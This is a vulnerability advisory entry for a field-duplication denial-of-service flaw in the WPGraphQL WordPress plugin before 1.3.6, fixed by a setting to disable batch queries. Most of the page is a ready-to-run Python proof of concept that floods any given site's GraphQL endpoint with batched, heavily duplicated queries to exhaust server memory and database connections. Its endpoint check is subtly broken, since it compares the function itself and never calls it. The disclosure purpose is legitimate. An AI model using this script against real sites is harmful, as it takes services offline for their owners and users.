WordPress Plugin Vulnerabilities

WPGraphQL < 1.3.6 - Denial of Service

Description

The plugin suffers from a Denial of Service vulnerability by Field Duplication. It is possible to create an expensive query by duplicating the number of fields, while simultaneously sending these requests in batches using GraphQL's Batching capability.

v1.3.6 added a setting to disable batch queries

Proof of Concept

"""
  This attack uses duplication of fields amplified by GraphQL batched queries, resulting in server OOM and MySQL connection errors.
"""

import sys
import requests


def usage():
  print('* WordPress GraphQL 1.3.5 Denial of Service *')
  print('python {} <wordpress_url> <number_of_field_duplications> <number_of_chained_queries>'.format(sys.argv[0]))
  print('python {} http://site.com 10000 100'.format(sys.argv[0]))
  sys.exit(1)

if len(sys.argv) < 4:
  print('Missing arguments!')
  usage()

def wpgql_exists():
  try:
    r = requests.post(WORDPRESS_URL, json='x')
    if 'GraphQL' in r.json()['errors'][0]['message']:
      return True
  except:
    pass
  return False

# This PoC assumes graphql is located at index.php?graphql
WORDPRESS_URL = sys.argv[1] + '/index.php?graphql'
FORCE_MULTIPLIER = int(sys.argv[2])
CHAINED_REQUESTS = int(sys.argv[3])

if wpgql_exists is False:
  print('Could not identify GraphQL running at "/index.php?graphql"')
  sys.exit(1)

queries = []

payload = 'content \n comments { \n nodes { \n content } }' * FORCE_MULTIPLIER
query = {'query':'query { \n posts { \n nodes { \n ' + payload + '} } }'}

for _ in range(0, CHAINED_REQUESTS):
  queries.append(query)

r = requests.post(WORDPRESS_URL, json=queries)
print('Time took: {} seconds '.format(r.elapsed.total_seconds()))
print('Response:', r.json())

Affects Plugins

Fixed in 1.3.6

References

Exploitdb
YouTube Video

Miscellaneous

Original Researcher
Dolev Farhi
Submitter
Dolev Farhi
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2021-04-27 (about 3 years ago)
Added
2021-04-27 (about 3 years ago)
Last Updated
2021-08-10 (about 2 years ago)

Other